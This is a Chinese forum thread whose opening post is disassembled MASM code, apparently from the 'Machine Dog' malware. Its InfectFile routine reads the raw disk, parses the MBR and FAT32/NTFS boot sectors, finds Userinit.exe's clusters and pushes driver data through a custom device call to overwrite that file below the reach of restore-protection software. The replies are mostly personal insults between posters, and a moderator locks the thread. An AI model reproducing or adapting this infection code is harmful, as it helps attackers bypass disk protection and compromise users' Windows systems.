穿透还原卡还原软件ASM源码

686 p 
 . Model flat, stdcall 
 Option casemap: none 
 Include windows.inc 
 Include kernel32.inc 
 Include user32.inc 
 Include macros.asm 
 Include masm32.inc 
 Include debug.inc 
 Include advapi32.inc 
 Include D: \ masm32 \ KmdKit \ include \ winioctl.inc 
 Includelib debug.lib 
 Includelib masm32.lib 
 Includelib user32.lib 
 Includelib kernel32.lib 
 Includelib advapi32.lib 
 _ CHS_ADDRESS struc; (sizeof = 0x3, the standard type) 
 Sector db? 
 Head db? 
 Cyl db? 
 _ CHS_ADDRESS ends 
   
 _ HD_MBR_DPT_ENTRY struc; (sizeof = 0x10, standard type) 
 ActiveFlag db? 
 StartAddress _CHS_ADDRESS <> 
 FileSystemType db? 
 EndAddress _CHS_ADDRESS <> 
 StartSectorId dd? 
 SectorTotal dd? 
 _ HD_MBR_DPT_ENTRY ends 
 HD_MBR struc; (sizeof = 0x1D2) 
 BootCode db 446 dup (?) 
 DPT _HD_MBR_DPT_ENTRY <> 
 EndFlag dw? 
 _ Padding db 2 dup (?) 
 HD_MBR ends 
   
 ; ------------------------------------------------- ------------------------------------------------ 
   
   
   
   
 . Data 
 Pcihdd_SymLink db '\ \. \ PhysicalHardDisk0', 0; DATA XREF: InfectFile +19 o 
 ; Char a_Physicaldrive [] 
 A_Physicaldrive db '\ \. \ PhysicalDrive0', 0; DATA XREF: InfectFile +110 o 
 AFCJ db 'memory allocation failed', 0; DATA XREF: InfectFile: loc_401670 o 
 A? J db 'addressable document unsuccessful', 0; DATA XREF: InfectFile: loc_401684 o 
 AZ_2 db 'not supported by disk partition', 0; DATA XREF: InfectFile: FileSystemUnsupport o 
 AP db 'section of a sub-district is not activated', 0; DATA XREF: InfectFile: loc_401696 o 
 A? Gm db 'that the document is compressed files, could not be', 0; DATA XREF: InfectFile: loc_4016AA o 
 AB? NVZ db 'access to the original document information failure', 0; DATA XREF: InfectFile: loc_4016B3 o 
 AK? Z db 'open files failure', 0; DATA XREF: InfectFile: loc_4016CA o 
 APZ db 'loading drive failure', 0; 
 Pcihdd_path db '% SystemRoot% \ system32 \ drivers \ pcihdd.sys', 0; 
 ASystemrootSyst db '% SystemRoot% \ System32 \ Userinit.exe', 0; 
 MyFile db 'C: \ calc.exe', 0 
 Userinit_Path_Buffer db 100 dup (0) 
 . Code 
 InfectFile proc near 
   
 HMem = dword ptr - 550h 
 ClusterSize = dword ptr - 54Ch 
 HDevice = dword ptr - 548h 
 LDistanceToMove = dword ptr - 544h 
 DistanceToMoveHigh = dword ptr - 540h 
 Userinit_StartAddress_Cluster = qword ptr - 53Ch 
 VolStartSectorId = dword ptr - 534h 
 HFile_HD0 = dword ptr - 530h 
 SectorBuffer = byte ptr - 52Ch 
 Buffer = byte ptr - 32Ch 
 OutBuffer = byte ptr - 12Ch 
 ErrorInfo = dword ptr - 1Ch 
 Tmp32 = dword ptr - 18h 
 Starting_vcn = qword ptr - 14h 
 HFileToInfect = dword ptr - 0Ch 
 Var_8 = dword ptr -8 
 FileName_Userinit = dword ptr 8 
   
           Push ebp 
           Mov ebp, esp 
           Add esp, 0FFFFFAACh 
           Pushad 
           Push 0; hTemplateFile 
           Push 0; dwFlagsAndAttributes 
           Push 3; dwCreationDisposition 
           Push 0; lpSecurityAttributes 
           Push 0; dwShareMode 
           Push 80000000h; dwDesiredAccess 
           Push offset pcihdd_SymLink; "\ \ \ \. \ \ PhysicalHardDisk0" 
           Call CreateFileA 
           Cmp eax, INVALID_HANDLE_VALUE 
           ; Jz loc_4016DE 
   
   
           Mov [ebp + hDevice], eax 
           Push 0; hTemplateFile 
           Push 20000000h; dwFlagsAndAttributes 
           Push 3; dwCreationDisposition 
           Push 0; lpSecurityAttributes 
           Push 3; dwShareMode 
           Push 80000000h; dwDesiredAccess 
           Push [ebp + FileName_Userinit]; lpFileName 
           Call CreateFileA 
           Cmp eax, INVALID_HANDLE_VALUE 
           Jz loc_4016CA 
   
   
           Mov [ebp + hFileToInfect], eax 
           Xor eax, eax 
           Mov dword ptr [ebp + Starting_vcn], eax 
           Mov dword ptr [ebp + Starting_vcn +4], eax 
           Push 110h 
           Lea eax, [ebp + OutBuffer] 
           Push eax 
           Call RtlZeroMemory 
           Push 0; lpOverlapped 
           Lea eax, [ebp + Tmp32] 
           Push eax; lpBytesReturned 
           Push 110h; nOutBufferSize 
           Lea eax, [ebp + OutBuffer] 
           Push eax; lpOutBuffer 
           Push 8; nInBufferSize 
           Lea eax, [ebp + Starting_vcn] 
           Push eax; lpInBuffer 
           Push FSCTL_GET_RETRIEVAL_POINTERS; dwIoControlCode 
           Push [ebp + hFileToInfect]; hDevice 
           Call DeviceIoControl 
           Or eax, eax 
           Jz loc_4016B3 
   
   
           Lea edi, [ebp + OutBuffer] 
           Mov ebx, [edi +0] 
           Lea edi, [edi +10 h]; EDI = & (RETRIEVAL_POINTERS_BUFFER.Extents [0]) 
                           ; Should structure 4 byte alignment is the reason 
           Mov eax, [ebp + Tmp32] 
           Or ebx, ebx 
           Jz loc_4016BA 
   
   
           Mov eax, [edi +8]; EAX = Extents [0]. Lcn.u.LowPart 
           Mov edx, [edi +0 Ch]; EDX = Extents [0]. Lcn.u.HighPart 
           Cmp eax, 0FFFFFFFFh 
           Jz loc_4016AA 
           Cmp edx, 0FFFFFFFFh 
           Jz loc_4016AA; The LCN at which the current extent begins on the 
                           ; Volume. This value is an input to the 
                           ; FSCTL_MOVE_FILE operation. 
                           ; 
                           ; On the NTFS file system, the value (LONGLONG) -1 
                           ; Indicates either a compression unit that is 
                           ; Partially allocated, or an unallocated region of 
                           ; A sparse file. 
   
   
           Mov dword ptr [ebp + Userinit_StartAddress_Cluster], eax 
           Mov dword ptr [ebp + Userinit_StartAddress_Cluster +4], edx 
           Push 0 
           Lea eax, [ebp + Tmp32] 
           Push eax; lpNumberOfBytesRead 
           Push 200h; nNumberOfBytesToRead 
           Lea eax, [ebp + Buffer] 
           Push eax; lpBuffer 
           Push [ebp + hFileToInfect]; hFile 
           Call ReadFile 
   
   
           Push [ebp + hFileToInfect]; hObject 
           Call CloseHandle 
           Mov [ebp + hFileToInfect], 0 
           Push 0; hTemplateFile 
           Push 0; dwFlagsAndAttributes 
           Push 3; dwCreationDisposition 
           Push 0; lpSecurityAttributes 
           Push 3; dwShareMode 
           Push 0C0000000h; dwDesiredAccess 
           Push offset a_Physicaldrive; "\ \ \ \. \ \ PhysicalDrive0" 
           Call CreateFileA 
           Cmp eax, INVALID_HANDLE_VALUE 
           Jz loc_4016B1 
           Mov [ebp + hFile_HD0], eax 
   
 --> Read the first drive sector, MBR 
           Push 0; dwMoveMethod 
           Push 0; lpDistanceToMoveHigh 
           Push 0; lDistanceToMove 
           Push [ebp + hFile_HD0]; hFile 
           Call SetFilePointer 
   
   
           Push 0; lpOverlapped 
           Lea eax, [ebp + Tmp32] 
           Push eax; lpNumberOfBytesRead 
           Push 200h; nNumberOfBytesToRead 
           Lea eax, [ebp + SectorBuffer] 
           Push eax; lpBuffer 
           Push [ebp + hFile_HD0]; hFile 
           Call ReadFile 
   
   
           Lea edi, [ebp + SectorBuffer] 
           Cmp [edi + HD_MBR.DPT.ActiveFlag], 80h 
           Jnz loc_401696; section of a sub-district is not activated 
   
   
           Movzx ebx, [edi + HD_MBR.DPT.FileSystemType] 
           Cmp ebx, 0Bh; FAT32 
           Jz short loc_4014D2 
   
   
           Cmp ebx, 0Ch; FAT32 
           Jz short loc_4014D2 
   
   
           Cmp ebx, 7; NTFS 
           Jnz FileSystemUnsupport 
   
 Loc_4014D2:; CODE XREF: InfectFile +174 j 
                           ; InfectFile +179 j 
           Mov eax, [edi + HD_MBR.DPT.StartSectorId] 
           Mov [ebp + VolStartSectorId], eax 
           Xor edx, edx 
           Imul eax, 200h 
           Mov [ebp + Tmp32], edx; Tmp32 pending zoning initial address high 32 
           Mov ecx, eax; ECX pending initial address regional low 32 
   
 --> Read launched the first Sector Division (activated Sector) 
           Push 0; dwMoveMethod 
           Lea eax, [ebp + Tmp32] 
           Push eax; lpDistanceToMoveHigh 
           Push ecx; lDistanceToMove 
           Push [ebp + hFile_HD0]; hFile 
           Call SetFilePointer; setting up the file pointer to the first district 
   
   
           Push 0; lpOverlapped 
           Lea eax, [ebp + Tmp32] 
           Push eax; lpNumberOfBytesRead 
           Push 200h; nNumberOfBytesToRead 
           Lea eax, [ebp + SectorBuffer] 
           Push eax; lpBuffer 
           Push [ebp + hFile_HD0]; hFile 
           Call ReadFile 
   
 --> Userinit under FAT32/NTFS calculating the initial cluster offset 
           Lea edi, [ebp + SectorBuffer] 
           Movzx eax, word ptr [edi +0 Eh] 
           Add [ebp + VolStartSectorId], eax 
           Cmp ebx, 0Bh 
           Jz short FAT32; the number of ECX = FAT 
           Cmp ebx, 0Ch 
           Jnz short Common 
   
 FAT32:; CODE XREF: InfectFile +1 DF j 
           Movzx ecx, byte ptr [edi +10 h]; the number of ECX = FAT 
           Mov eax, [edi +24 h]; EAX = every sector of the FAT 
           Xor edx, edx 
           Imul eax, ecx 
           Add [ebp + VolStartSectorId], eax 
   
 Common:; CODE XREF: InfectFile +1 E4 j 
           Mov eax, dword ptr [ebp + Userinit_StartAddress_Cluster] 
           Mov edx, dword ptr [ebp + Userinit_StartAddress_Cluster +4] 
           Movzx ecx, byte ptr [edi +0 Dh]; ECX = Sector / Cluster 
           Mov [ebp + ClusterSize], ecx; ClusterSize each cluster pending in the sector included several 
           Imul eax, ecx 
           Add eax, [ebp + VolStartSectorId] 
           Adc edx, 0 
           Imul eax, 200h 
           Mov [ebp + DistanceToMoveHigh], edx 
           Mov [ebp + lDistanceToMove], eax 
   
 --> Set the file pointer to the starting position Userinit.exe 
           Push FILE_BEGIN; dwMoveMethod 
           Lea eax, [ebp + DistanceToMoveHigh] 
           Push eax; lpDistanceToMoveHigh 
           Push [ebp + lDistanceToMove]; lDistanceToMove 
           Push [ebp + hFile_HD0]; hFile 
           Call SetFilePointer 
   
 --> Read Userinit.exe the first 512 bytes, and use and ReadFile 
 --> Read the contents contrast, verify whether the successful positioning document 
           Push 0; lpOverlapped 
           Lea eax, [ebp + Tmp32] 
           Push eax; lpNumberOfBytesRead 
           Push 200h; nNumberOfBytesToRead 
           Lea eax, [ebp + SectorBuffer] 
           Push eax; lpBuffer 
           Push [ebp + hFile_HD0]; hFile 
           Call ReadFile 
   
   
           Lea edi, [ebp + SectorBuffer] 
           Lea esi, [ebp + Buffer] 
           Mov ecx, 200h 
           Repe cmpsb 
           Or ecx, ecx 
           Jnz loc_401684 
   
   
           Push 0; dwMoveMethod 
           Lea eax, [ebp + DistanceToMoveHigh] 
           Push eax; lpDistanceToMoveHigh 
           Push [ebp + lDistanceToMove]; lDistanceToMove 
           Push [ebp + hFile_HD0]; hFile 
           Call SetFilePointer 
   
   
           Mov eax, [ebp + ClusterSize] 
           Shl eax, 9 
           Mov [ebp + ClusterSize], eax; SectorsPerCluster *= 512 (Sector size) 
                           ; Here to handle those issues, sector size is not necessarily 512 bytes, 
                           ; District should start from the 0 xB offset Sector obtained 
           Push [ebp + ClusterSize]; dwBytes 
           Push 40h; uFlags 
           Call GlobalAlloc 
           Or eax, eax 
           Jz short loc_401670 
   
   
           Mov [ebp + hMem], eax 
           Mov ecx, offset MessageBoxA 
           Sub ecx, offset pcihdd_path; "% SystemRoot% \ \ system32 \ \ drivers \ \ pcihdd.sy" ... 
   
   
           Push 0; lpOverlapped 
           Lea eax, [ebp + Tmp32] 
           Push eax; lpBytesReturned 
           Push [ebp + ClusterSize]; nOutBufferSize 
           Push [ebp + hMem]; lpOutBuffer 
           Push ecx; nInBufferSize 
           Push offset pcihdd_path; "% SystemRoot% \ \ system32 \ \ drivers \ \ pcihdd.sy" ... 
           Push 0F0003C04h; dwIoControlCode 
           Push [ebp + hDevice]; hDevice 
           Call DeviceIoControl 
   
   
 ; Push 0; lpOverlapped 
 ; Lea eax, [ebp + Tmp32] 
 ; Push eax; lpNumberOfBytesWritten 
 ; Push [ebp + ClusterSize]; nNumberOfBytesToWrite 
 ; Push [ebp + hMem]; lpBuffer 
 ; Push [ebp + hFile_HD0]; hFile 
 ; Call WriteFile 
   
   
 ; Push [ebp + hFile_HD0]; hFile 
 ; Call FlushFileBuffers 
   
   
           Mov [ebp + ErrorInfo], 0 
           Jmp short loc_401677 
 ; ------------------------------------------------- ------------------------------------------------ 
   
 Loc_401670:; CODE XREF: InfectFile +2 B6 j 
           Mov [ebp + ErrorInfo], offset aFCJ; "Memory allocation failed" 
   
 Loc_401677:; CODE XREF: InfectFile +320 j 
           Push [ebp + hMem]; hMem 
           Call GlobalFree 
           Jmp short loc_40169D 
 ; ------------------------------------------------- ------------------------------------------------ 
   
 Loc_401684:; CODE XREF: InfectFile +278 j 
           Mov [ebp + ErrorInfo], offset a? J; "addressable document unsuccessful" 
           Jmp short loc_40169D 
 ; ------------------------------------------------- ------------------------------------------------ 
   
 FileSystemUnsupport:; CODE XREF: InfectFile +17 E j 
           Mov [ebp + ErrorInfo], offset aZ_2; "not supported by disk partition" 
           Jmp short loc_40169D 
 ; ------------------------------------------------- ------------------------------------------------ 
   
 Loc_401696:; CODE XREF: InfectFile +164 j 
           Mov [ebp + ErrorInfo], offset aP; section of a sub-district is not activated 
   
 Loc_40169D:; CODE XREF: InfectFile +334 j 
                           ; InfectFile +33 D j ... 
           Push [ebp + hFile_HD0]; hObject 
           Call CloseHandle 
           Jmp short loc_4016B1 
 ; ------------------------------------------------- ------------------------------------------------ 
   
 Loc_4016AA:; CODE XREF: BD + j InfectFile 
                           ; InfectFile + C6 j 
           Mov [ebp + ErrorInfo], offset a? Gm; "that the document is compressed files, we can not operate" 
   
 Loc_4016B1:; CODE XREF: InfectFile +11 D j 
                           ; InfectFile +35 A j 
           Jmp short loc_4016BA 
 ; ------------------------------------------------- ------------------------------------------------ 
   
 Loc_4016B3:; CODE XREF: InfectFile +98 j 
           Mov [ebp + ErrorInfo], offset aB? NVZ; "access to the original document information failure" 
   
 Loc_4016BA:; CODE XREF: InfectFile j + AE 
                           ; InfectFile: loc_4016B1 j 
           Cmp [ebp + hFileToInfect], 0 
           Jz short loc_4016D1 
           Push [ebp + hFileToInfect]; hObject 
           Call CloseHandle 
           Jmp short loc_4016D1 
 ; ------------------------------------------------- ------------------------------------------------ 
   
 Loc_4016CA:; CODE XREF: InfectFile +4 F j 
           Mov [ebp + ErrorInfo], offset aK? Z; "open files failure" 
   
 Loc_4016D1:; CODE XREF: InfectFile +370 j 
                           ; InfectFile +37 A j 
           Push [ebp + hDevice]; hObject 
           Call CloseHandle 
           Jmp short loc_4016E5 
 ; ------------------------------------------------- ------------------------------------------------ 
   
 Loc_4016DE:; CODE XREF: InfectFile +26 j 
           Mov [ebp + ErrorInfo], offset aPZ; "loaded drive failure" 
   
 Loc_4016E5:; CODE XREF: InfectFile +38 E j 
           Popad 
           Mov eax, [ebp + ErrorInfo] 
           Leave 
           Retn 4 
 InfectFile endp 
 Start: 
 Push 100h; nSize 
 Push offset Userinit_Path_Buffer; lpDst 
 Push offset aSystemrootSyst; "% SystemRoot% \ \ System32 \ \ Userinit.exe" 
 Call ExpandEnvironmentStringsA 
   
 Push offset MyFile; FileName_Userinit 
 Call InfectFile 
 Invoke ExitProcess, NULL 
 End start

ASM源码？

你脑子有问题吧楼主？
这明明是反汇编后整理的好不好

反汇编的也算是源码了，至少可以用ＭＡＳＭ３２编译了，只不过效果如何就难说了，你能穿越ＤＩＳＫＰＥＲＦ并不一定就可以了，你穿越下影子系统看看。。。。。。

肯定不能穿影子~传说中有暴力重写的~
这玩意不过是那什么机器狗的RING3部分反汇编代码（貌似还把中文改成英文了），驱动部分都没有，根本不能独立生效
我看 象楼主这种人渣败类 ，白痴 阿米巴虫，肯定是一点也看不懂的 哈哈

哎，ＭＪ就不能以德抱怨吗？心胸应该宽广点。。。。。。

最近连做N个firewall driver,有点郁闷，找个阿米巴发泄一下。。。

让wow见笑了

而且实在对楼主这种什么都不懂却来随便指责的看不下去~
简直破坏了这个版的良好气氛~

引用第5楼WQXNETQIQI于2007-11-10 10:00发表的  :
最近连做N个firewall driver,有点郁闷，找个阿米巴发泄一下。。。

让wow见笑了

而且实在对楼主这种什么都不懂却来随便指责的看不下去~
.......

有本事你有穿越数字签名，UAC，别整天自以为是。ROOTKIT已经有穿越的文章，你还不快去偷别人的思路。呵呵

引用第6楼hackmix于2007-11-10 10:13发表的  :


有本事你有穿越数字签名，UAC，别整天自以为是。ROOTKIT已经有穿越的文章，你还不快去偷别人的思路。呵呵

阿米巴你又来了啊 ， rootkit.com上那个根本没用，我还等着您发阿米巴级非PATCH的的文章来偷呢

引用第7楼WQXNETQIQI于2007-11-10 10:18发表的  :

阿米巴你又来了啊 ， rootkit.com上那个根本没用，我还等着您发阿米巴级非PATCH的的文章来偷呢

你还真拿去测试了没用了啊？真是让我大开眼界。哈哈哈哈。只懂得光会打洞的家伙怎么可能穿越呢。别再献丑了。

引用第8楼hackmix于2007-11-10 10:21发表的  :


你还真拿去测试了没用了啊？真是让我大开眼界。哈哈哈哈。只懂得光会打洞的家伙怎么可能穿越呢。别再献丑了。

光看就知道没用了，阿米巴，别说打洞，你上面的wow大牛牛就是最喜欢打洞的~
小心他用VMM把你这个阿米巴蒸发了~

阿米巴，我把你的照片贴过来了

动物门肉鞭动物亚门肉足总纲根足纲变形目变形虫科

引用第10楼WQXNETQIQI于2007-11-10 10:27发表的  :
阿米巴，我把你的照片贴过来了

要证明很牛，就做点像个HACKER级别的发现，只懂得到处给内核函数打洞的人，充其量不过是个低级CRACK，可能连CRACK都算不上，有本事你把 汉语大辞典 破解了吧，来证实一下你的破解技术。
只要有操作系统，就会有像你这样打洞的。对于这类人，只适合用固化的原始的不能扩展系统。回溯过来意思就是，你才是真正的阿米巴。

引用第12楼hackmix于2007-11-10 10:37发表的  :


要证明很牛，就做点像个HACKER级别的发现，只懂得到处给内核函数打洞的人，充其量不过是个低级CRACK，可能连CRACK都算不上，有本事你把 汉语大辞典 破解了吧，来证实一下你的破解技术。
只要有操作系统，就会有像你这样打洞的。对于这类人，只适合用固化的原始的不能扩展系统。回溯过来意思就是，你才是真正的阿米巴。

说crack低级，看雪的人要发飙了~
说打洞低级，wowo等一众牛人要发飙了~

蒸发吧，阿米巴虫！


[小常识]：为什么说楼主是阿米巴虫呢？
1.它是单细胞动物，什么都不懂
2.它没有眼睛，所以什么都看不到
3.它是最微不足道的生物

对了，阿米巴虫还有个特点哦，它喜欢吃人脑，为什么呢？
因为它跟楼主一样，没有大脑  

又想学学人类是怎么打洞的
这不，楼主这个阿米巴就来这论坛来学打洞了 哈

引用第14楼WQXNETQIQI于2007-11-10 10:43发表的  :
对了，阿米巴虫还有个特点哦，它喜欢吃人脑，为什么呢？
因为它跟楼主一样，没有大脑  

又想学学人类是怎么打洞的
这不，楼主这个阿米巴就来这论坛来学打洞了 哈

高调是需要本钱的，老弟，有本事先于世界第二发布穿越UAC 数字签名，虽然第一已经与半年前甚至可能去年就已经搞定了。你多说无义，就你目前的水平，任何一个人都能达到，内核打洞无非就是逆向＋调试找出函数使用特征然后PATCH，这类东西我真的都不知道有什么意思，过去DOS系统的死机克星，起码人家还作出了相当有技术含量，使用价值的产品，有本事你做个NT平台的死机克星给我看看你有多牛，呵呵，菜鸟就是菜鸟，只会打洞能有多出息？！

大家讨论技术,少一些人身攻击吧.保持平常心.此帖锁定